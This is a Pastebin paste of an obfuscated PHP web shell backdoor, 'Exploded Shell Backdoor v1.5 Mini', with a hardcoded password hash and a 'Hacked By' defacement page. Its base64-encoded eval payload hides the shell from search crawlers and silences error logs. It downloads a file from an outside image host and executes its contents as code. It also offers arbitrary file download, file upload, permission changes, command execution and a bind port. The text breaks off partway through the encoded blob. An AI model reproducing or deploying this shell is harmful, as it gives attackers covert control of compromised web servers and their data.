Advertisement
cr1p

Exploded Shell Backdoor v1.5 Mini

Sep 18th, 2016
9,681
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 163.46 KB | None | 0 0
  1. <?php
  2. @ini_set('output_buffering',0); //
  3. //@ini_set('display_errors', 0); //
  4. //@ini_set('error_reporting', 0); //
  5. /*
  6. #####################################################
  7. ## Name : Exploded Shell Backdoor ##
  8. ## Version : v1.5 Mini ##
  9. ## Author : Muhammad Supiani a.k.a ./Port22 ##
  10. ## Contact : Port22cyber@gmail.com ##
  11. ## Report : Port22exploded@gmail.com ##
  12. ## (c) 2017 www.security-exploded.orgs ##
  13. #####################################################
  14. */
  15. $pass = "9e3e935b7a61f3faf5afd5d9082936db"; // Password Encrypted By MD5, pass is:" m1x "
  16. $title = "Security Exploded Shell Backdoor"; // Title
  17. $color = "grey"; // Color
  18. $background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background
  19. $logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo
  20. $music = ""; // Music, isi url music elu :v *cuman bisa didengerin di "about" :v , malas gw taroh di depan, soalnya kalok ada yg nggak suka :v
  21. $script_deface = "<html><head><title>Hacked By ./Port22</title></head><body>Hacked by ./Port22 <br> Crew's : Milton | Aris Dot ID | ./r00t_NTx | ./Port22 | MyMind404 | ./KriZ | ./BlackJoker |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt)
  22.  
  23. /*
  24. Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P
  25. */
  26. eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7IApAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyAKQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsgCmV2YWwoZ3ppbmZsYXRlKHN1YnN0cigkaW5kbywxOTM0KSkpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgCiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IH0gCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsgCn0gCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IAo/PjxodG1sPjxoZWFkPgo8bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj4KPHRpdGxlPlNlY3VyaXR5IEV4cGxvZGVkPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7IGJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJhbjtiYWNrZ3JvdW5kOiMwMDA7YmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vb2k2MC50aW55cGljLmNvbS9pbjc0cGkuanBnIik7YmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOyAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0OyB9IAoudGFibmV6eyBtYXJnaW46MzBweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyBjb2xvcjogZ3JleTsgCi1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsgLWtodG1sLWJvcmRlci1yYWRpdXM6IDVweDsgYm9yZGVyLXJhZGl1czogNXB4O30KYm9keSx0ZCx0aCB7Zm9udC1mYW1pbHk6IFZlcmRhbmE7Zm9udC1zaXplOiAxMnB4O2NvbG9yOiBncmV5O2ZvbnQtd2VpZ2h0OiBib2xkO30KaW5wdXQge0JPUkRFUi1SSUdIVDpncmV5IDFweCBzb2xpZDtCT1JERVItVE9QOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1MRUZUOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1CT1RUT006IGdyZXkgMXB4IHNvbGlkO0JBQ0tHUk9VTkQtQ09MT1I6ICMxMTExMTE7Q09MT1I6IGdyZXk7Zm9udDogOHB0IFZlcmRhbmE7fQo8L3N0eWxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDQ4LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+Cgo8aW1nIHNyYz0iaHR0cDovL29pNTgudGlueXBpYy5jb20vMnU4Zm1ubi5qcGciIHRpdGxlPSIuL1BvcnQyMiIgc3R5bGU9ImZsb2F0OmxlZnQiIGFsdD0iRXhwbG9kZWQiIGhlaWdodD0nMjUwJyB3aWR0aD0nNzAwJy8+Cjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSdwb3N0Jz4KPHRyPgo8dGQ+PGltZyBzcmM9J2h0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnJyBjbGFzcz0idGFibmV6IiAgaGVpZ2h0PScyMCcgd2lkdGg9JzI0Jz48L3RkPgo8dGQ+PGlucHV0IGNsYXNzPSJ0YWJuZXoiIHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPjwvdGQ+Cjx0ZD48aW5wdXQgY2xhc3M9InRhYm5leiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4gISI+PC90ZD4KPC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8L2JvZHk+CjwvaHRtbD4KICAgIDw/cGhwIGJyZWFrIDsKICAgIGV4aXQ7IAp9IAppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpIAogICAgaWYoIGVtcHR5KCAkcGFzcyApIHx8IAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJHBhc3MgKSApICkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IAogICAgZWxzZSAKICAgICAgICBwcmludExvZ2luKCk7CiAgICAgICAgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7CmlmKGlzc2V0KCRfR0VUWydkbCddKSAmJiAoJF9HRVRbJ2RsJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsJ107CiAgICAkZmlsZXogPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZGxnemlwJ10pICYmICgkX0dFVFsnZGxnemlwJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOwogICAgJGZpbGV6ID0gZ3plbmNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7CiAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iLmd6XCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9Ci8vIHZpZXcgaW1hZ2UKaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7CiAgICAgICAgQG9iX2NsZWFuKCk7IAogICAgICAgICRkID0gbWFnaWNib29tKCRfR0VUWyd5J10pOwogICAgICAgICRmID0gJF9HRVRbJ2ltZyddOwogICAgICAgICRpbmYgPSBAZ2V0aW1hZ2VzaXplKCRkLiRmKTsgCiAgICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsgCiAgICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IAogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOwogICAgICAgIEBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOyAKICAgICAgICBAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsgCiAgICAgICAgQGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7ICAKICAgICAgICBAcmVhZGZpbGUoJGQuJGYpOyAKICAgICAgICBleGl0OyAKfQovL3BocCBpbmZvCiRwaHBpbmZvID0gIj8mYW1wO3g9cGhwaW5mbyI7Ci8vIFNlcnZlciBzb2Z0d2FyZQoKJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKLy8gQ01ECiRjbWRib3ggPSAiaGVscCI7Ci8vIFNlcnZlciBQb3J0CiRzZXJ2ZXJwb3J0ID0gJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl07Ci8vIEJhY2tkb29yIE5hbWUKJGJhY2tkb29yX25hbWUgPSAiJHRpdGxlICI7Ci8vIGNoZWNrIHNhZmVtb2RlCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpICAkc2FmZW1vZGUgPSBUUlVFOyBlbHNlICRzYWZlbW9kZSA9IEZBTFNFOwovLyB1bmFtZSAtYQokc3lzdGVtID0gQHBocF91bmFtZSgpOwovLyBkZXRlY3RvcgpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5PRkY8L2ZvbnQ+PC9iPiI7fX0KZnVuY3Rpb24gdGVzdG15c3FsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Y3VybCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7IH1lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9fQpmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTsgfWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7IH19CmZ1bmN0aW9uIHRlc3RwZXJsKCkge2lmIChleGUoJ3BlcmwgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0cHl0aG9uKCkge2lmIChleGUoJ3B5dGhvbiAtaCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RydWJ5KCkge2lmIChleGUoJ3J1YnkgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Z2NjKCkge2lmIChleGUoJ2djYyAtLWhlbHAnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0amF2YSgpIHtpZiAoZXhlKCdqYXZhIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0KLy8gY2hlY2sgb3MKaWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikgJHdpbiA9IFRSVUU7CmVsc2UgJHdpbiA9IEZBTFNFOyAKLy8gY2hhbmdlIGRpcmVjdG9yeQppZihpc3NldCgkX0dFVFsneSddKSl7CiAgICBpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsKICAgICAgICAkcHdkID0gJF9HRVRbJ3ZpZXcnXTsKICAgICAgICBAY2hkaXIoJHB3ZCk7CiAgICB9CiAgICBlbHNlewogICAgICAgICRwd2QgPSAkX0dFVFsneSddOwogICAgICAgIEBjaGRpcigkcHdkKTsKICAgIH0KfQovL2hkZApmdW5jdGlvbiBjb252ZXJ0Qnl0ZSgkcykgewppZigkczw9MCkgcmV0dXJuIDA7CiAgICAkdyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwogICAgJGUgPSBmbG9vcihsb2coJHMpL2xvZygxMDI0KSk7CiAgICByZXR1cm4gc3ByaW50ZignJS4yZiAnLiR3WyRlXSwgKCRzL3BvdygxMDI0LCBmbG9vcigkZSkpKSk7Cn0KLy8KCi8vIHVzZXJuYW1lLCBpZCwgc2hlbGwgcHJvbXB0IGFuZCB3b3JraW5nIGRpcmVjdG9yeQppZighJHdpbil7CiAgICBpZighJHVzZXIgPSByYXBpaChleGUoIndob2FtaSIpKSkgJHVzZXIgPSAiIjsKICAgIGlmKCEkaWQgPSByYXBpaChleGUoImlkIikpKSAkaWQgPSAiIjsKICAgICRwcm9tcHQgPSAkdXNlci4iIFwkICI7CiAgICAkcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7Cn0KZWxzZSB7CiAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAkaWQgPSAkdXNlcjsKICAgICRwcm9tcHQgPSAkdXNlci4iICZndDsiOwogICAgJHB3ZCA9IHJlYWxwYXRoKCIuIikuIlxcIjsKICAgIC8vIGZpbmQgZHJpdmUgbGV0dGVycwogICAgJHYgPSBleHBsb2RlKCJcXCIsJGQpOyAKICAgICR2ID0gJHZbMF07IAogICAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgCiAgICB7IAogICAgICAkYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7CiAgICAgIGlmICgkYm9vbCkgCiAgICAgIHsgCiAgICAgICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj95PSIuJGxldHRlci4iOlxcXCI+WyAiOwogICAgICAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSAKICAgICAgICAgICBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9IAogICAgICAgICAgICRsZXR0ZXJzIC49ICIgPC9hPl0gIjsgCiAgICAgIH0gIAogfSAKfQoKZnVuY3Rpb24gZ2V0cmVhbGlwKCl7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgCn1lbHNlaWYgKCFlbXB0eSgkU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkKLy9UTyBDSEVLIElQIElTIFBBU1MgRlJPTSBQUk9YWQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsKfWVsc2UgeyAkaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KcmV0dXJuICRpcDsKfQoKIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgewogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9zcGFuPiI7IH0KICAgIGVsc2UgeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjojMDBGRjAwJz48Yj5OT05FPC9iPjwvc3Bhbj4iOyB9CiAgICB9CiAgICAKaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsKZWxzZSAkcG9zaXggPSBGQUxTRTsKLy8gc2VydmVyIGlwCiRzZXJ2ZXJfaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwovLyB5b3VyIGlwIDstKQokbXlfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGFkbWluX2lkPSRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTsKJGJpbmRwb3J0ID0gIjEzMTIzIjsKJGJpbmRwb3J0X3Bhc3MgPSAiZXhwbG9kZWQiOwovLyBTZWN1cml0eSBFeHBsb2RlZAokdXBsaW5rID0gImh0dHA6Ly93d3cuc2VjdXJpdHktZXhwbG9kZWQub3JnL3NlYXJjaC9sYWJlbC9FeHBsb2RlZCBTaGVsbCBCYWNrZG9vciI7Ci8vd2lsd29ybQokcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICAkbWlsbGluaz0naHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0nOwogICAgCiAgICBpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCiAgICAgICAgJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwogICAgZWxzZQogICAgICAgICRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgIC8vIEV4cGxvaXQtZGIKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgICRleHBsaW5rID0gJ2h0dHA6Ly9leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX2Rlc2NyaXB0aW9uPSc7CiAgICAKICAgIGlmKCBzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlICkKICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CiAgICBlbHNlCiAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQovLyBzZXBhcmF0ZSB0aGUgd29ya2luZyBkaXJlY290b3J5CiRwd2RzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRwd2QpOwokcHdkdXJsID0gIiI7CmZvcigkaSA9IDAgOyAkaSA8IHNpemVvZigkcHdkcyktMSA7ICRpKyspewogICAgJHBhdGh6ID0gIiI7CiAgICBmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsKICAgICAgICAkcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgICB9CiAgICAkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7Cn0KICAgIAovLyBSZW5hbWUgZmlsZSBvciBmb2xkZXIKaWYoaXNzZXQoJF9QT1NUWydSZW5hbWUnXSkpewogICAgJG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOwogICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwogICAgQFJlbmFtZSgkcHdkLiRvbGQsJHB3ZC4kbmV3KTsKICAgICRmaWxlID0gJHB3ZC4kbmV3Owp9CmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkY29tcHQnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7IAogICAgICAgICRzdGF0ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsJHBpbmRhaCk7fQogICAgICAgIH0KCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnJzsgfQplbHNlIHsgZWNobyAnJzsgfQp9CmlmKGlzc2V0KCRfUE9TVFsnQ2htb2QnXSkpeyAKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30gICAgCmlmKGlzc2V0KCRfUE9TVFsnQ2htb2RfZm9sZGVyJ10pKXsKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KLy8gcHJpbnQgdXNlZnVsIGluZm8KCiRidWZmICA9ICJTaGVsbCBCYWNrZG9vciA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjokY29sb3InPiAkYmFja2Rvb3JfbmFtZSAkdmVyc2k8L2ZvbnQ+PGI+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPjwvYT48L2I+PC9iPjwvZm9udD48Yj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+PGEgaHJlZj0nJHVwbGluaycgdGl0bGU9J1NlYXJjaCBTaGVsbCBCYWNrZG9vciBGcm9tIFNlY3VyaXR5IEV4cGxvZGVkJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlsgU2VjdXJpdHkgRXhwbG9kZWQgXTwvYT48L2I+PC9mb250Pjxicj5WZXJzaW9uIDogPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiRjb2xvcic+Ii4kdmVyc2kuIjwvZm9udD48L2E+PC9iPjxicj4gU29mdHdhcmUgOiA8Yj4iLiRzb2Z0d2FyZS4iPC9iPjxiciAvPiI7CiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIiAgfCA8YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Ii51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4iJyB0aXRsZT0nU2VhcmNoIFN5c3RlbSBPUyBGcm9tIEdvb2dsZScgdGFyZ2V0PSdfYmxhbmsnPjxmb250IHN0eWxlP